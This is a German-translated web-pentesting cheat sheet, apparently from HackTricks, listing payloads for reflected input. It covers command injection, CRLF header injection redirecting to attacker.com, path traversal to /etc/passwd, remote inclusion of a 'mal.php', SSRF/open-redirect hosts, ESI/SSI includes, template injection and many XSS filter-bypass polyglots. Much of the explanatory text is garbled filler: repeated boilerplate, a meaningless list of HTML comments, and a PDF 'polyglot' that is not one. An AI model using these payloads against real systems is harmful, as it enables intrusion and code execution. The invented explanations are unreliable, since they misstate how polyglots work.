.. | ||
README.md | ||
web-vulns-list.md |
Reflecting Techniques - PoCs and Polygloths CheatSheet
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
Andere Möglichkeiten, HackTricks zu unterstützen:
- Wenn Sie Ihr Unternehmen in HackTricks bewerben möchten oder HackTricks als PDF herunterladen möchten, überprüfen Sie die ABONNEMENTPLÄNE!
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud Github-Repositories senden.
Das Ziel dieser PoCs und Polygloths ist es, dem Tester eine schnelle Zusammenfassung der Schwachstellen zu geben, die er ausnutzen kann, wenn seine Eingabe irgendwie in der Antwort reflektiert wird.
{% hint style="warning" %} Dieser Spickzettel enthält keine umfassende Liste von Tests für jede Schwachstelle, nur einige grundlegende. Wenn Sie umfassendere Tests suchen, greifen Sie auf die vorgeschlagenen Schwachstellen zu. {% endhint %}
{% hint style="danger" %} Sie werden hier keine Content-Type-abhängigen Injektionen wie XXE finden, da Sie diese normalerweise selbst ausprobieren, wenn Sie eine Anfrage senden, die XML-Daten enthält. Sie werden hier auch keine Datenbankinjektionen finden, da selbst wenn einige Inhalte reflektiert werden könnten, dies stark von der Backend-DB-Technologie und -Struktur abhängt. {% endhint %}
Liste der Polygloths
{{7*7}}[7*7]
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
Client Side Template Injection
Grundlegende Tests
Client Side Template Injection (CSTI) ist eine Sicherheitslücke, die es einem Angreifer ermöglicht, schädlichen Code in Client-seitigen Templates einzufügen und auszuführen. Dies kann zu verschiedenen Angriffen führen, wie z.B. der Offenlegung von sensiblen Informationen oder der Ausführung von Remote-Code.
Um CSTI zu testen, können Sie die folgenden grundlegenden Tests durchführen:
- Einfügen von Mustache-Tags: Versuchen Sie, Mustache-Tags wie
{{7*7}}
in Eingabefelder oder URL-Parameter einzufügen. Wenn die Ausgabe den Wert49
enthält, besteht möglicherweise eine CSTI-Schwachstelle. - Einfügen von AngularJS-Ausdrücken: Versuchen Sie, AngularJS-Ausdrücke wie
{{7*7}}
in Eingabefelder oder URL-Parameter einzufügen. Wenn die Ausgabe den Wert49
enthält, besteht möglicherweise eine CSTI-Schwachstelle. - Einfügen von Handlebars-Tags: Versuchen Sie, Handlebars-Tags wie
{{7*7}}
in Eingabefelder oder URL-Parameter einzufügen. Wenn die Ausgabe den Wert49
enthält, besteht möglicherweise eine CSTI-Schwachstelle. - Einfügen von Twig-Tags: Versuchen Sie, Twig-Tags wie
{{7*7}}
in Eingabefelder oder URL-Parameter einzufügen. Wenn die Ausgabe den Wert49
enthält, besteht möglicherweise eine CSTI-Schwachstelle. - Einfügen von FreeMarker-Tags: Versuchen Sie, FreeMarker-Tags wie
${7*7}
in Eingabefelder oder URL-Parameter einzufügen. Wenn die Ausgabe den Wert49
enthält, besteht möglicherweise eine CSTI-Schwachstelle. - Einfügen von Velocity-Tags: Versuchen Sie, Velocity-Tags wie
$!{7*7}
in Eingabefelder oder URL-Parameter einzufügen. Wenn die Ausgabe den Wert49
enthält, besteht möglicherweise eine CSTI-Schwachstelle. - Einfügen von Smarty-Tags: Versuchen Sie, Smarty-Tags wie
{$smarty.now}
in Eingabefelder oder URL-Parameter einzufügen. Wenn die Ausgabe das aktuelle Datum und die aktuelle Uhrzeit enthält, besteht möglicherweise eine CSTI-Schwachstelle. - Einfügen von Jade-Tags: Versuchen Sie, Jade-Tags wie
#{7*7}
in Eingabefelder oder URL-Parameter einzufügen. Wenn die Ausgabe den Wert49
enthält, besteht möglicherweise eine CSTI-Schwachstelle. - Einfügen von EJS-Tags: Versuchen Sie, EJS-Tags wie
<%= 7*7 %>
in Eingabefelder oder URL-Parameter einzufügen. Wenn die Ausgabe den Wert49
enthält, besteht möglicherweise eine CSTI-Schwachstelle. - Einfügen von Nunjucks-Tags: Versuchen Sie, Nunjucks-Tags wie
{{7*7}}
in Eingabefelder oder URL-Parameter einzufügen. Wenn die Ausgabe den Wert49
enthält, besteht möglicherweise eine CSTI-Schwachstelle.
Es ist wichtig zu beachten, dass diese Tests nicht immer zuverlässig sind und weitere Untersuchungen erforderlich sein können, um eine CSTI-Schwachstelle zu bestätigen.
{{7*7}}
[7*7]
Polyglotte
Ein Polyglott ist ein Stück Code, das in mehreren Programmiersprachen gültig ist. Dies kann nützlich sein, um Sicherheitslücken auszunutzen, da verschiedene Programmiersprachen unterschiedliche Verhaltensweisen und Schwachstellen aufweisen können. Polyglotte können verwendet werden, um Angriffe zu verschleiern und Sicherheitskontrollen zu umgehen.
Polyglotte Dateien
Polyglotte Dateien sind Dateien, die in mehreren Formaten gültig sind. Dies kann verwendet werden, um Sicherheitslücken auszunutzen, indem verschiedene Anwendungen unterschiedliche Verarbeitungsregeln für verschiedene Dateiformate haben. Polyglotte Dateien können verwendet werden, um Angriffe wie Dateiübernahme, Code-Injektion und Denial-of-Service durchzuführen.
Polyglotte Payloads
Polyglotte Payloads sind Angriffspakete, die in mehreren Formaten gültig sind. Dies ermöglicht es einem Angreifer, verschiedene Angriffstechniken zu kombinieren und Sicherheitskontrollen zu umgehen. Polyglotte Payloads können verwendet werden, um Angriffe wie Cross-Site Scripting (XSS), SQL-Injektion und Remote Code Execution durchzuführen.
Polyglotte Skripte
Polyglotte Skripte sind Skripte, die in mehreren Programmiersprachen gültig sind. Dies ermöglicht es einem Angreifer, verschiedene Angriffstechniken zu kombinieren und Sicherheitskontrollen zu umgehen. Polyglotte Skripte können verwendet werden, um Angriffe wie Brute-Force-Angriffe, Passwort-Cracking und Netzwerk-Sniffing durchzuführen.
{{7*7}}[7*7]
Befehlsinjektion
Grundlegende Tests
;ls
||ls;
|ls;
&&ls;
&ls;
%0Als
`ls`
$(ls)
Polyglotte
Ein Polyglott ist ein Stück Code, das in mehreren Programmiersprachen gültig ist. Dies kann nützlich sein, um Sicherheitslücken auszunutzen, da verschiedene Programmiersprachen unterschiedliche Verhaltensweisen und Schwachstellen aufweisen können. Polyglotte können verwendet werden, um Angriffe zu verschleiern und die Erkennung zu erschweren.
Polyglotte Dateien
Polyglotte Dateien sind Dateien, die in mehreren Formaten gültig sind. Dies kann verwendet werden, um Sicherheitslücken auszunutzen, indem eine Datei so erstellt wird, dass sie sowohl als gültige Datei als auch als schädlicher Code erkannt wird. Polyglotte Dateien können verwendet werden, um Angriffe über verschiedene Plattformen hinweg durchzuführen und die Erkennung zu umgehen.
Polyglotte Payloads
Polyglotte Payloads sind schädlicher Code, der in mehreren Programmiersprachen gültig ist. Dies ermöglicht es Angreifern, eine einzige Payload zu erstellen, die auf verschiedenen Plattformen und in verschiedenen Umgebungen funktioniert. Polyglotte Payloads können verwendet werden, um Sicherheitslücken auszunutzen und Angriffe zu erleichtern.
Polyglotte Skripte
Polyglotte Skripte sind Skripte, die in mehreren Programmiersprachen gültig sind. Dies kann verwendet werden, um Sicherheitslücken auszunutzen, indem ein Skript so erstellt wird, dass es auf verschiedenen Plattformen und in verschiedenen Umgebungen funktioniert. Polyglotte Skripte können verwendet werden, um Angriffe zu verschleiern und die Erkennung zu erschweren.
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
CRLF
Grundlegende Tests
CRLF Injection
CRLF-Injection ist eine Technik, bei der ein Angreifer Carriage Return (CR) und Line Feed (LF) Zeichen in eine Anwendung einschleust, um verschiedene Arten von Angriffen durchzuführen. Diese Angriffe können dazu führen, dass der Angreifer Informationen erhält, die normalerweise nicht zugänglich wären, oder dass die Anwendung unerwartetes Verhalten zeigt.
HTTP Response Splitting
HTTP-Response-Splitting ist eine Art von CRLF-Injection-Angriff, bei dem ein Angreifer CR und LF Zeichen in den Header einer HTTP-Antwort einschleust. Dadurch kann der Angreifer zusätzliche HTTP-Header einschleusen oder die Trennung zwischen den Headern und dem Body der Antwort verändern. Dies kann zu verschiedenen Angriffen führen, wie z.B. Cross-Site Scripting (XSS) oder Cache-Poisoning.
SMTP Injection
SMTP-Injection ist eine Art von CRLF-Injection-Angriff, bei dem ein Angreifer CR und LF Zeichen in den Body einer E-Mail-Nachricht einschleust. Dadurch kann der Angreifer zusätzliche E-Mail-Header einschleusen oder die Trennung zwischen den Headern und dem Body der E-Mail verändern. Dies kann dazu führen, dass der Angreifer E-Mails im Namen des Opfers sendet oder dass die E-Mail-Anwendung unerwartetes Verhalten zeigt.
CRLF Filter Bypass
Manchmal implementieren Anwendungen Filter, um CRLF-Injection-Angriffe zu verhindern. Diese Filter können jedoch umgangen werden, indem spezielle Zeichenkombinationen verwendet werden, die vom Filter nicht erkannt werden. Einige Beispiele für CRLF-Filter-Bypass-Techniken sind die Verwendung von URL-Encoding, Hex-Encoding oder Unicode-Encoding.
CRLF Vulnerabilities
CRLF-Schwachstellen können in verschiedenen Teilen einer Anwendung auftreten, wie z.B. in HTTP-Headern, E-Mail-Nachrichten oder Log-Dateien. Es ist wichtig, diese Schwachstellen zu identifizieren und zu beheben, da sie zu verschiedenen Arten von Angriffen führen können.
%0d%0aLocation:%20http://attacker.com
%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
Hängende Markup
Grundlegende Tests
<!-- HTML Comment -->
<!-- HTML-Kommentar -->
<!-- HTML Comment with dangling markup -->
<!-- HTML-Kommentar mit hängendem Markup -->
<!-- HTML Comment with dangling markup and unclosed tag -->
<!-- HTML-Kommentar mit hängendem Markup und nicht geschlossenem Tag -->
<!-- HTML Comment with dangling markup and unclosed tag and attribute -->
<!-- HTML-Kommentar mit hängendem Markup, nicht geschlossenem Tag und Attribut -->
<!-- HTML Comment with dangling markup and unclosed tag and attribute and value -->
<!-- HTML-Kommentar mit hängendem Markup, nicht geschlossenem Tag, Attribut und Wert -->
<!-- HTML Comment with dangling markup and unclosed tag and attribute and value and quotation mark -->
<!-- HTML-Kommentar mit hängendem Markup, nicht geschlossenem Tag, Attribut, Wert und Anführungszeichen -->
<!-- HTML Comment with dangling markup and unclosed tag and attribute and value and quotation mark and equal sign -->
<!-- HTML-Kommentar mit hängendem Markup, nicht geschlossenem Tag, Attribut, Wert, Anführungszeichen und Gleichheitszeichen -->
<!-- HTML Comment with dangling markup and unclosed tag and attribute and value and quotation mark and equal sign and space -->
<!-- HTML-Kommentar mit hängendem Markup, nicht geschlossenem Tag, Attribut, Wert, Anführungszeichen, Gleichheitszeichen und Leerzeichen -->
<!-- HTML Comment with dangling markup and unclosed tag and attribute and value and quotation mark and equal sign and space and closing angle bracket -->
<!-- HTML-Kommentar mit hängendem Markup, nicht geschlossenem Tag, Attribut, Wert, Anführungszeichen, Gleichheitszeichen, Leerzeichen und schließendem spitzen Klammerzeichen -->
<br><b><h1>THIS IS AND INJECTED TITLE </h1>
Datei-Inklusion/Pfad-Traversal
Grundlegende Tests
/etc/passwd
../../../../../../etc/hosts
..\..\..\..\..\..\etc/hosts
/etc/hostname
../../../../../../etc/hosts
C:/windows/system32/drivers/etc/hosts
../../../../../../windows/system32/drivers/etc/hosts
..\..\..\..\..\..\windows/system32/drivers/etc/hosts
http://asdasdasdasd.burpcollab.com/mal.php
\\asdasdasdasd.burpcollab.com/mal.php
Offene Weiterleitung / Serverseitige Anfragenfälschung
Grundlegende Tests
www.whitelisted.com
www.whitelisted.com.evil.com
https://google.com
//google.com
javascript:alert(1)
ReDoS
Grundlegende Tests
(\\w*)+$
([a-zA-Z]+)*$
((a+)+)+$
Serverseitige Inklusion/Edge-seitige Inklusion
Grundlegende Tests
<!--#echo var="DATE_LOCAL" -->
<!--#exec cmd="ls" -->
<esi:include src=http://attacker.com/>
x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Polyglotte
Ein Polyglott ist ein Stück Code, das in mehreren Programmiersprachen gültig ist. Dies kann nützlich sein, um Sicherheitslücken auszunutzen, da verschiedene Programmiersprachen unterschiedliche Verhaltensweisen und Schwachstellen aufweisen können. Polyglotte können verwendet werden, um Angriffe zu verschleiern und die Erkennung zu erschweren.
Polyglotte Dateien
Polyglotte Dateien sind Dateien, die in mehreren Formaten gültig sind. Dies kann verwendet werden, um Sicherheitslücken auszunutzen, indem eine Datei so erstellt wird, dass sie sowohl als gültige Datei als auch als schädlicher Code erkannt wird. Polyglotte Dateien können verwendet werden, um Angriffe über verschiedene Plattformen hinweg durchzuführen und die Erkennung zu umgehen.
Polyglotte Payloads
Polyglotte Payloads sind schädlicher Code, der in mehreren Programmiersprachen gültig ist. Dies ermöglicht es Angreifern, eine einzige Payload zu erstellen, die auf verschiedenen Plattformen und in verschiedenen Umgebungen funktioniert. Polyglotte Payloads können verwendet werden, um Sicherheitslücken auszunutzen und Angriffe zu erleichtern.
Polyglotte Skripte
Polyglotte Skripte sind Skripte, die in mehreren Programmiersprachen gültig sind. Dies kann verwendet werden, um Sicherheitslücken auszunutzen, indem ein Skript so erstellt wird, dass es auf verschiedenen Plattformen und in verschiedenen Umgebungen funktioniert. Polyglotte Skripte können verwendet werden, um Angriffe zu verschleiern und die Erkennung zu erschweren.
<!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
Serverseitige Anfragenfälschung (Server Side Request Forgery)
Die gleichen Tests, die für Open Redirect verwendet werden können hier verwendet werden.
Serverseitige Template-Injektion (Server Side Template Injection)
Grundlegende Tests
${{<%[%'"}}%\
{{7*7}}
${7*7}
<%= 7*7 %>
${{7*7}}
#{7*7}
Polyglotte
Polyglotte sind Dateien, die in mehreren Programmiersprachen gültig sind. Dies kann ausgenutzt werden, um Angriffe zu verschleiern oder um verschiedene Schwachstellen in verschiedenen Sprachen zu testen.
Polyglotte in HTML/JavaScript
Ein Polyglott in HTML/JavaScript ist eine Datei, die sowohl als gültiges HTML-Dokument als auch als gültiges JavaScript-Skript interpretiert werden kann. Dies ermöglicht es, HTML- und JavaScript-Schwachstellen in einer einzigen Datei zu testen.
Beispiel:
<html>
<body>
<script>
alert("Dies ist ein JavaScript-Angriff!");
</script>
</body>
</html>
Polyglotte in JSON
Ein Polyglott in JSON ist eine Datei, die sowohl als gültiges JSON-Objekt als auch als gültiges JavaScript-Skript interpretiert werden kann. Dies ermöglicht es, JSON- und JavaScript-Schwachstellen in einer einzigen Datei zu testen.
Beispiel:
{
"name": "John",
"age": 30,
"script": "alert('Dies ist ein JavaScript-Angriff!');"
}
Polyglotte in XML
Ein Polyglott in XML ist eine Datei, die sowohl als gültiges XML-Dokument als auch als gültiges JavaScript-Skript interpretiert werden kann. Dies ermöglicht es, XML- und JavaScript-Schwachstellen in einer einzigen Datei zu testen.
Beispiel:
<root>
<script>
alert("Dies ist ein JavaScript-Angriff!");
</script>
</root>
Polyglotte in YAML
Ein Polyglott in YAML ist eine Datei, die sowohl als gültiges YAML-Dokument als auch als gültiges JavaScript-Skript interpretiert werden kann. Dies ermöglicht es, YAML- und JavaScript-Schwachstellen in einer einzigen Datei zu testen.
Beispiel:
name: John
age: 30
script: "alert('Dies ist ein JavaScript-Angriff!');"
Polyglotte in CSV
Ein Polyglott in CSV ist eine Datei, die sowohl als gültige CSV-Datei als auch als gültiges JavaScript-Skript interpretiert werden kann. Dies ermöglicht es, CSV- und JavaScript-Schwachstellen in einer einzigen Datei zu testen.
Beispiel:
name,age,script
John,30,"alert('Dies ist ein JavaScript-Angriff!');"
Polyglotte in Markdown
Ein Polyglott in Markdown ist eine Datei, die sowohl als gültiges Markdown-Dokument als auch als gültiges JavaScript-Skript interpretiert werden kann. Dies ermöglicht es, Markdown- und JavaScript-Schwachstellen in einer einzigen Datei zu testen.
Beispiel:
# Dies ist ein Markdown-Dokument
<script>
alert("Dies ist ein JavaScript-Angriff!");
</script>
Polyglotte in PDF
Ein Polyglott in PDF ist eine Datei, die sowohl als gültiges PDF-Dokument als auch als gültiges JavaScript-Skript interpretiert werden kann. Dies ermöglicht es, PDF- und JavaScript-Schwachstellen in einer einzigen Datei zu testen.
Beispiel:
%PDF-1.4
1 0 obj
<< /Type /Catalog
/Outlines 2 0 R
/Pages 3 0 R >>
endobj
2 0 obj
<< /Type /Outlines
/Count 0 >>
endobj
3 0 obj
<< /Type /Pages
/Kids [4 0 R]
/Count 1 >>
endobj
4 0 obj
<< /Type /Page
/Parent 3 0 R
/Resources <<
/Font << /F1 5 0 R >>
/XObject << /X2 6 0 R >>
>>
/Contents 7 0 R >>
endobj
5 0 obj
<< /Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica >>
endobj
6 0 obj
<< /Type /XObject
/Subtype /Form
/FormType 1
/BBox [0 0 100 100]
/Matrix [1 0 0 1 0 0]
/Resources <<
/Font << /F1 5 0 R >>
>>
/Length 44 >>
/Filter /FlateDecode >>
stream
/F1 24 Tf
1 0 0 1 10 10 Tm
(Dies ist ein JavaScript-Angriff!) Tj
endstream
endobj
7 0 obj
<< /Length 44 >>
stream
q
1 0 0 1 0 0 cm
/X2 Do
Q
endstream
endobj
xref
0 8
0000000000 65535 f
0000000010 00000 n
0000000077 00000 n
0000000178 00000 n
0000000307 00000 n
0000000409 00000 n
0000000410 00000 n
0000000511 00000 n
trailer
<< /Size 8
/Root 1 0 R
/Info 7 0 R >>
startxref
616
%%EOF
Polyglotte in anderen Dateiformaten
Polyglotte können auch in anderen Dateiformaten erstellt werden, wie z.B. DOCX, XLSX, PPTX usw. Der Ansatz ist ähnlich wie bei den oben genannten Beispielen: Die Datei muss sowohl als gültiges Dokument in dem entsprechenden Format als auch als gültiges JavaScript-Skript interpretiert werden können. Dies ermöglicht es, Schwachstellen in verschiedenen Dateiformaten zu testen.
{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
XSLT Server Side Injection
Grundlegende Tests
XSLT Server Side Injection (SSI) ist eine Technik, bei der ein Angreifer bösartigen XSLT-Code in eine Anwendung einschleust, um serverseitigen Code auszuführen. Dies kann zu verschiedenen Sicherheitsproblemen führen, wie z.B. der Offenlegung sensibler Informationen oder der Kompromittierung des Servers.
Um eine XSLT SSI zu testen, können Sie die folgenden grundlegenden Tests durchführen:
- XSLT-Injection: Versuchen Sie, bösartigen XSLT-Code in die Anwendung einzufügen und zu sehen, ob er ausgeführt wird. Verwenden Sie dazu spezielle XSLT-Tags wie
<xsl:script>
oder<xsl:include>
, um serverseitigen Code einzufügen. - Parametermanipulation: Überprüfen Sie, ob die Anwendung Eingabeparameter verwendet, um XSLT-Dateien zu laden. Versuchen Sie, den Wert des Parameters zu ändern und zu sehen, ob Sie eine XSLT-Injection erreichen können.
- Blind XSLT-Injection: Wenn Sie keine direkte Rückmeldung von der Anwendung erhalten, können Sie versuchen, eine blinde XSLT-Injection durchzuführen. Fügen Sie dazu bösartigen XSLT-Code ein und überprüfen Sie, ob die Anwendung den Code verarbeitet und eine bestimmte Aktion ausführt, z.B. eine Datei erstellt oder eine Anfrage an einen externen Server sendet.
Es ist wichtig zu beachten, dass XSLT SSI eine fortgeschrittene Technik ist und spezifische Kenntnisse über XSLT und die Zielsprache erfordert. Es wird empfohlen, diese Tests nur in einer kontrollierten Umgebung durchzuführen und die Zustimmung des Eigentümers der Anwendung einzuholen.
<xsl:value-of select="system-property('xsl:version')" />
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
Polyglotte
Ein Polyglott ist ein Stück Code, das in mehreren Programmiersprachen gültig ist. Dies kann nützlich sein, um Sicherheitslücken auszunutzen, da verschiedene Programmiersprachen unterschiedliche Verhaltensweisen und Schwachstellen aufweisen können. Polyglotte können verwendet werden, um Angriffe zu verschleiern und die Erkennung zu erschweren.
Polyglotte Dateien
Polyglotte Dateien sind Dateien, die in mehreren Formaten gültig sind. Dies kann verwendet werden, um Sicherheitslücken auszunutzen, indem eine Datei so erstellt wird, dass sie von verschiedenen Anwendungen unterschiedlich interpretiert wird. Dies kann zu unerwartetem Verhalten führen und möglicherweise Sicherheitslücken offenlegen.
Polyglotte Payloads
Polyglotte Payloads sind Angriffspayloads, die in mehreren Formaten gültig sind. Dies ermöglicht es einem Angreifer, eine einzige Payload zu erstellen, die in verschiedenen Anwendungen oder Umgebungen funktioniert. Polyglotte Payloads können verwendet werden, um Sicherheitslücken auszunutzen und unerwünschte Aktionen auszuführen.
Polyglotte Skripte
Polyglotte Skripte sind Skripte, die in mehreren Programmiersprachen gültig sind. Dies kann verwendet werden, um Sicherheitslücken auszunutzen, indem ein Skript so erstellt wird, dass es von verschiedenen Umgebungen unterschiedlich interpretiert wird. Polyglotte Skripte können verwendet werden, um Angriffe zu verschleiern und die Erkennung zu erschweren.
<xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
XSS
Grundlegende Tests
XSS (Cross-Site Scripting) ist eine Sicherheitslücke, bei der schädlicher Code in eine Webseite eingefügt wird und dann von anderen Benutzern ausgeführt wird. Dies kann zu verschiedenen Angriffen führen, wie z.B. dem Diebstahl von Benutzerdaten oder der Manipulation von Inhalten.
Um XSS-Angriffe zu testen, können Sie die folgenden grundlegenden Tests durchführen:
1. Einfacher Test
Fügen Sie in Eingabefeldern oder URL-Parametern <script>alert('XSS');</script>
ein und überprüfen Sie, ob der Code ausgeführt wird. Wenn ein Pop-up mit der Meldung "XSS" angezeigt wird, ist die Webseite anfällig für XSS-Angriffe.
2. HTML-Injection
Versuchen Sie, HTML-Tags wie <img src="x" onerror="alert('XSS')">
in Eingabefeldern oder URL-Parametern einzufügen. Wenn der Code ausgeführt wird und ein Pop-up mit der Meldung "XSS" angezeigt wird, ist die Webseite anfällig für HTML-Injection-Angriffe.
3. JavaScript-Injection
Versuchen Sie, JavaScript-Code wie javascript:alert('XSS')
in Eingabefeldern oder URL-Parametern einzufügen. Wenn der Code ausgeführt wird und ein Pop-up mit der Meldung "XSS" angezeigt wird, ist die Webseite anfällig für JavaScript-Injection-Angriffe.
4. Event-Injection
Versuchen Sie, Event-Handler wie onmouseover="alert('XSS')"
, onclick="alert('XSS')"
, onload="alert('XSS')"
in Eingabefeldern oder URL-Parametern einzufügen. Wenn der Code ausgeführt wird und ein Pop-up mit der Meldung "XSS" angezeigt wird, ist die Webseite anfällig für Event-Injection-Angriffe.
5. Image-Injection
Versuchen Sie, ein Bild mit einem schädlichen Skript als Quelle einzufügen, z.B. <img src="javascript:alert('XSS')">
. Wenn der Code ausgeführt wird und ein Pop-up mit der Meldung "XSS" angezeigt wird, ist die Webseite anfällig für Image-Injection-Angriffe.
6. CSS-Injection
Versuchen Sie, CSS-Code wie background-image: url("javascript:alert('XSS')")
in Eingabefeldern oder URL-Parametern einzufügen. Wenn der Code ausgeführt wird und ein Pop-up mit der Meldung "XSS" angezeigt wird, ist die Webseite anfällig für CSS-Injection-Angriffe.
7. URL-Injection
Versuchen Sie, JavaScript-Code wie javascript:alert('XSS')
in URL-Parametern einzufügen. Wenn der Code ausgeführt wird und ein Pop-up mit der Meldung "XSS" angezeigt wird, ist die Webseite anfällig für URL-Injection-Angriffe.
Es ist wichtig zu beachten, dass diese Tests nicht alle möglichen XSS-Angriffsszenarien abdecken. Es wird empfohlen, weitere fortgeschrittene Tests durchzuführen und die Sicherheit der Webseite regelmäßig zu überprüfen.
" onclick=alert() a="
'"><img src=x onerror=alert(1) />
javascript:alert()
Polyglotte
Ein Polyglott ist ein Stück Code, das in mehreren Programmiersprachen gültig ist. Dies kann nützlich sein, um Sicherheitslücken auszunutzen, da verschiedene Programmiersprachen unterschiedliche Verhaltensweisen und Schwachstellen aufweisen können. Polyglotte können verwendet werden, um Angriffe zu verschleiern und die Erkennung zu erschweren.
Polyglotte Dateien
Polyglotte Dateien sind Dateien, die in mehreren Formaten gültig sind. Dies kann verwendet werden, um Sicherheitslücken auszunutzen, indem eine Datei so erstellt wird, dass sie sowohl als gültige Datei als auch als schädlicher Code erkannt wird. Polyglotte Dateien können verwendet werden, um Angriffe über verschiedene Plattformen hinweg durchzuführen und die Erkennung zu umgehen.
Polyglotte Payloads
Polyglotte Payloads sind schädlicher Code, der in mehreren Programmiersprachen gültig ist. Dies ermöglicht es Angreifern, eine einzige Payload zu erstellen, die auf verschiedenen Plattformen und in verschiedenen Umgebungen funktioniert. Polyglotte Payloads können verwendet werden, um Sicherheitslücken auszunutzen und Angriffe zu erleichtern.
Polyglotte Skripte
Polyglotte Skripte sind Skripte, die in mehreren Programmiersprachen gültig sind. Dies kann verwendet werden, um Sicherheitslücken auszunutzen, indem ein Skript so erstellt wird, dass es auf verschiedenen Plattformen und in verschiedenen Umgebungen funktioniert. Polyglotte Skripte können verwendet werden, um Angriffe zu verschleiern und die Erkennung zu erschweren.
javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*<svg/*/onload=alert()//>
-->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
" onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
